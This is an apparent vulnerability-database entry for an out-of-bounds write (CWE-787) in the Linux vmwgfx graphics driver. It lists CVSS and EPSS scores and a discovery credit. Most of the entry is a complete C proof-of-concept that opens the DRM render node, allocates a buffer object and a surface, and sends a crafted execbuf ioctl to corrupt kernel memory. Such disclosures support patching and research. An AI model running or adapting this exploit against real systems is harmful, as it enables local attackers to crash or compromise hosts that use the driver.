There is an out-of-bounds write vulnerability in vmwgfx driver

Primary CVSS: v3.1 5.5 MEDIUM from [email protected]

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS: 0.007850000 probability, percentile 0.550870000 (date 2026-10-14)

Problem Types: CWE-120 | CWE-787 | CWE-120 CWE-120 Buffer Overflow

Discovery Credit

CNA: Ziming Zhang([email protected]) from Ant Group Light-Year Security Lab (en)

Exploits

CNA: #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_tun.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <sys/socket.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <sys/types.h> #include <stdint.h> #include <netinet/ip.h> #include <sys/resource.h> #include <sys/syscall.h> #include <limits.h> #include <sys/mman.h> #include <linux/fs.h> int fd = 0; typedef struct mixer { int index; int fd; char *msg; }mixer_t; struct drm_vmw_surface_create_req { __u32 flags; __u32 format; __u32 mip_levels[6]; __u64 size_addr; __s32 shareable; __s32 scanout; }; struct drm_vmw_execbuf_arg { __u64 commands; __u32 command_size; __u32 throttle_us; __u64 fence_rep; __u32 version; __u32 flags; __u32 context_handle; __s32 imported_fence_fd; }; void init(){ if ((fd = open("/dev/dri/renderD128", O_RDWR)) == -1) { printf("open tun failed: %s\n", strerror(errno)); return -1; } } void poc(int handle,int sid){ char *vaddr=(unsigned long)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */, -1, 0); if (mlock((void *)vaddr, 0x2000) == -1) { printf("[-] failed to lock memory (%s), aborting!\n", strerror(errno)); } memset(vaddr,"a",0x2000); int cmd[0x1000]={0}; cmd[0]=1044; cmd[1]=0x50; cmd[2]=handle; cmd[3]=0; cmd[5]=sid; cmd[6]=0; cmd[7]=0; cmd[13]=1; cmd[12]=0x2000; cmd[14]=1; cmd[19]=12; struct drm_vmw_execbuf_arg arg={0}; arg.commands=cmd; arg.command_size=0x100; arg.version=1; if (ioctl(fd, 0x4028644C, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } } int alloc_bo(){ int arg[0x10]={0}; arg[0]=0x10000; if (ioctl(fd, 0xC0186441, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[2]; } int create_surface(){ int buf[0x100]={0}; buf[0]=64; buf[1]=64; buf[2]=64; struct drm_vmw_surface_create_req arg={0}; arg.flags=0; arg.format=2; arg.mip_levels[0]=1; arg.size_addr=buf; arg.shareable=0; arg.scanout=0x10; if (ioctl(fd, 0xC0306449, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg.flags; } int main(int ac, char **argv) { init(); int handle=alloc_bo(); int sid = create_surface(); printf("%d",sid); poc(handle,sid); }